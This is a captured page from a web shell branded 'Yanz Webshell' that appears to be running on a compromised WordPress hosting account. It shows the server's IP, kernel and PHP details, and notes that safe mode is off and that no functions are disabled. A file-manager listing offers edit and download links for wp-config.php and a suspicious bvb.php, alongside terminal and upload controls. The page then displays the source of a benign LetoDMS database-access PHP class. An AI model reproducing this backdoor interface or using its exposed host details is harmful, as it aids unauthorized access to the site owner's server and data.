Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-06 23:38:03
3907.15 GB Free: 1072.44 GB (27%)
/home/repauqkb/public_html/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.217.139
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-06 22:02:23drwxr-xr-xRename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-06 18:34:07drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-06 22:51:22drwxr-xr-xRename Touch
bvb.php2.21 KB2026-05-06 22:02:23-rw-r--r--Rename Touch Edit Download
error_log835 B2026-05-06 21:55:07-rw-r--r--Rename Touch Edit Download
index.php246 B2026-05-06 18:34:08-rw-r--r--Rename Touch Edit Download
license.txt19.44 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-05-06 18:34:07-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //var/softaculous/leto/inc.DBAccess.php
<?php
/**
 * Implementation of database access
 *
 * @category   DMS
 * @package    LetoDMS_Core
 * @license    GPL 2
 * @version    @version@
 * @author     Uwe Steinmann <[email protected]>
 * @copyright  Copyright (C) 2002-2005 Markus Westphal, 2006-2008 Malcolm Cowe,
 *             2010 Matteo Lucarelli, 2010 Uwe Steinmann
 * @version    Release: @package_version@
 */

/**
 * Include the adodb database abstraction
 */
require_once "[[softpath]]/adodb/adodb.inc.php";
/** @noinspection PhpUndefinedClassInspection */

/**
 * Class to represent the database access for the document management
 *
 * @category   DMS
 * @package    LetoDMS_Core
 * @author     Markus Westphal, Malcolm Cowe, Matteo Lucarelli, Uwe Steinmann <[email protected]>
 * @copyright  Copyright (C) 2002-2005 Markus Westphal, 2006-2008 Malcolm Cowe, 2010 Matteo Lucarelli, 2010 Uwe Steinmann
 * @version    Release: @package_version@
 */
class LetoDMS_Core_DatabaseAccess {
	var $_debug;
	var $_driver;
	var $_hostname;
	var $_database;
	var $_user;
	var $_passw;
	var $_conn;
	var $_connected;
	var $_ttreviewid;
	var $_ttapproveid;
	var $_ttstatid;
	var $_ttcontentid;
	var $_intransaction;
	
	/*
	Backup functions
	*/

	/**
	 * Return list of all database tables
	 *
	 * This function is used to retrieve a list of database tables for backup
	 *
	 * @return array list of table names
	 */
	function TableList() {
		return $this->_conn->MetaTables("TABLES");
	}

    /**
     * Constructor of LetoDMS_Core_DatabaseAccess
     *
     * Sets all database parameters but does not connect.
     *
     * @param string $driver the database type e.g. mysql, sqlite
     * @param string $hostname host of database server
     * @param string $user name of user having access to database
     * @param string $passw password of user
     * @param bool|string $database name of database
     */
	function __construct($driver, $hostname, $user, $passw, $database = false) {
		$this->_driver = $driver;
		$this->_hostname = $hostname;
		$this->_database = $database;
		$this->_user = $user;
		$this->_passw = $passw;
		$this->_connected = false;
		$this->_intransaction = 0;
		// $tt*****id is a hack to ensure that we do not try to create the
		// temporary table twice during a single connection. Can be fixed by
		// using Views (MySQL 5.0 onward) instead of temporary tables.
		// CREATE ... IF NOT EXISTS cannot be used because it has the
		// unpleasant side-effect of performing the insert again even if the
		// table already exists.
		//
		// See createTemporaryTable() method for implementation.
		$this->_ttreviewid = false;
		$this->_ttapproveid = false;
		$this->_ttstatid = false;
		$this->_ttcontentid = false;
		$this->_debug = false;
	}

	/**
	 * Connect to database
	 *
	 * @return boolean true if connection could be established, otherwise false
	 */
	function connect() { /* {{{ */
		$this->_conn = ADONewConnection($this->_driver);
		if ($this->_database)
			$this->_conn->Connect($this->_hostname, $this->_user, $this->_passw, $this->_database);
		else
			$this->_conn->Connect($this->_hostname, $this->_user, $this->_passw);

		if (!$this->_conn)
			return false;

		$this->_conn->SetFetchMode(ADODB_FETCH_ASSOC);
		$this->_conn->Execute('SET NAMES utf8');
		$this->_connected = true;
		return true;
	} /* }}} */

	/**
	 * Make sure a database connection exisits
	 *
	 * This function checks for a database connection. If it does not exists
	 * it will reconnect.
	 *
	 * @return boolean true if connection is established, otherwise false
	 */
	function ensureConnected() { /* {{{ */
		if (!$this->_connected) return $this->connect();
		else return true;
	} /* }}} */

	/**
	 * Sanitize String used in database operations
	 *
	 * @param string $text
	 * @return string sanitized string
	 */
	function qstr($text) { /* {{{ */
		return $this->_conn->qstr($text);
	} /* }}} */


	/**
	 * Execute SQL query and return result
	 *
	 * Call this function only with sql query which return data records.
	 *
	 * @param string $queryStr sql query
	 * @return array|boolean data if query could be executed otherwise false
	 */
	function getResultArray($queryStr) { /* {{{ */
        /** @noinspection PhpUnusedLocalVariableInspection */
        $resArr = array();
		
		$res = $this->_conn->Execute($queryStr);
		if (!$res) {
			if($this->_debug)
				echo "error: ".$queryStr."<br />";
			return false;
		}
		$resArr = $res->GetArray();
		$res->Close();
		return $resArr;
	} /* }}} */

    /**
     * Execute SQL query
     *
     * Call this function only with sql query which do not return data records.
     *
     * @param string $queryStr sql query
     * @return bool true if query could be executed otherwise false
     * @internal param bool $silent not used anymore. This was used when this method
     *        still issued an error message
     */
	function getResult($queryStr) { /* {{{ */
		$res = $this->_conn->Execute($queryStr);
		if(!$res) {
			if($this->_debug)
				echo "error: ".$queryStr."<br />";
		}
		
		return $res;
	} /* }}} */

	/**
	 * Return the id of the last instert record
	 *
	 * @return integer id used in last autoincrement
	 */
	function getInsertID() { /* {{{ */
		return $this->_conn->Insert_ID();
	} /* }}} */

	function startTransaction() { /* {{{ */
		if(!$this->_intransaction) {
			$this->_conn->BeginTrans();
		}
		$this->_intransaction++;
	} /* }}} */

	function rollbackTransaction() { /* {{{ */
		if($this->_intransaction == 1) {
			$this->_conn->RollbackTrans();
		}
		$this->_intransaction--;
	} /* }}} */

	function commitTransaction() { /* {{{ */
		if($this->_intransaction == 1) {
			$this->_conn->CommitTrans();
		}
		$this->_intransaction--;
	} /* }}} */

	function getErrorMsg() { /* {{{ */
		return $this->_conn->ErrorMsg();
	} /* }}} */

	function getErrorNo() { /* {{{ */
		return $this->_conn->ErrorNo();
	} /* }}} */

    /**
     * Create various temporary tables to speed up and simplify sql queries
     * @param $tableName
     * @param bool $override
     * @return bool
     */
	function createTemporaryTable($tableName, $override=false) { /* {{{ */
		if (!strcasecmp($tableName, "ttreviewid")) {
			$queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttreviewid` (PRIMARY KEY (`reviewID`), INDEX (`maxLogID`)) ".
				"SELECT `tblDocumentReviewLog`.`reviewID`, ".
				"MAX(`tblDocumentReviewLog`.`reviewLogID`) AS `maxLogID` ".
				"FROM `tblDocumentReviewLog` ".
				"GROUP BY `tblDocumentReviewLog`.`reviewID` ".
				"ORDER BY `tblDocumentReviewLog`.`reviewLogID`";
			if (!$this->_ttreviewid) {
				if (!$this->getResult($queryStr))
					return false;
				$this->_ttreviewid=true;
			}
			else {
				if (is_bool($override) && $override) {
					if (!$this->getResult("DELETE FROM `ttreviewid`"))
						return false;
					if (!$this->getResult($queryStr))
						return false;
				}
			}
			return $this->_ttreviewid;
		}
		else if (!strcasecmp($tableName, "ttapproveid")) {
			$queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttapproveid` (PRIMARY KEY (`approveID`), INDEX (`maxLogID`)) ".
				"SELECT `tblDocumentApproveLog`.`approveID`, ".
				"MAX(`tblDocumentApproveLog`.`approveLogID`) AS `maxLogID` ".
				"FROM `tblDocumentApproveLog` ".
				"GROUP BY `tblDocumentApproveLog`.`approveID` ".
				"ORDER BY `tblDocumentApproveLog`.`approveLogID`";
			if (!$this->_ttapproveid) {
				if (!$this->getResult($queryStr))
					return false;
				$this->_ttapproveid=true;
			}
			else {
				if (is_bool($override) && $override) {
					if (!$this->getResult("DELETE FROM `ttapproveid`"))
						return false;
					if (!$this->getResult($queryStr))
						return false;
				}
			}
			return $this->_ttapproveid;
		}
		else if (!strcasecmp($tableName, "ttstatid")) {
			$queryStr = "CREATE TEMPORARY TABLE IF NOT EXISTS `ttstatid` (PRIMARY KEY (`statusID`), INDEX (`maxLogID`)) ".
				"SELECT `tblDocumentStatusLog`.`statusID`, ".
				"MAX(`tblDocumentStatusLog`.`statusLogID`) AS `maxLogID` ".
				"FROM `tblDocumentStatusLog` ".
				"GROUP BY `tblDocumentStatusLog`.`statusID` ".
				"ORDER BY `tblDocumentStatusLog`.`statusLogID`";
			if (!$this->_ttstatid) {
				if (!$this->getResult($queryStr))
					return false;
				$this->_ttstatid=true;
			}
			else {
				if (is_bool($override) && $override) {
					if (!$this->getResult("DELETE FROM `ttstatid`"))
						return false;
					if (!$this->getResult($queryStr))
						return false;
				}
			}
			return $this->_ttstatid;
		}
		else if (!strcasecmp($tableName, "ttcontentid")) {
			$queryStr = "CREATE TEMPORARY TABLE `ttcontentid` (PRIMARY KEY (`document`), INDEX (`maxVersion`)) ".
				"SELECT `tblDocumentContent`.`document`, ".
				"MAX(`tblDocumentContent`.`version`) AS `maxVersion` ".
				"FROM `tblDocumentContent` ".
				"GROUP BY `tblDocumentContent`.`document` ".
				"ORDER BY `tblDocumentContent`.`document`";
			if (!$this->_ttcontentid) {
				if (!$this->getResult($queryStr))
					return false;
				$this->_ttcontentid=true;
			}
			else {
				if (is_bool($override) && $override) {
					if (!$this->getResult("DELETE FROM `ttcontentid`"))
						return false;
					if (!$this->getResult($queryStr))
						return false;
				}
			}
			return $this->_ttcontentid;
		}
		return false;
	} /* }}} */
}